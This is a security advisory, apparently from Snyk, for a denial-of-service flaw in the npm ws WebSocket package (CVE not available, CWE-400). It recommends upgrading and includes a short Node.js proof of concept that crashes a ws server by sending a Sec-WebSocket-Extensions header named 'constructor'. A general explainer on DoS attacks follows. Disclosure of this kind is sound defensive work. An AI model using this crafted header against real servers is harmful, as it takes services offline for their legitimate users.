Denial of Service (DoS) Affecting ws package, versions <1.1.5 >=2.0.0 <3.3.1



    Attack Complexity Low
    Availability High

    Threat Intelligence

    Exploit Maturity Mature

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  • Snyk ID npm:ws:20171108
  • published 9 Nov 2017
  • disclosed 8 Nov 2017
  • credit Nick Starke, Ryan Knell

Introduced: 8 Nov 2017

CVE NOT AVAILABLE CWE-400 Open this link in a new tab

How to fix?

Upgrade ws to version 1.1.5, 3.3.1 or higher.


ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.


const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', Sec-WebSocket-Extensions: ${payload}, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); });


Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package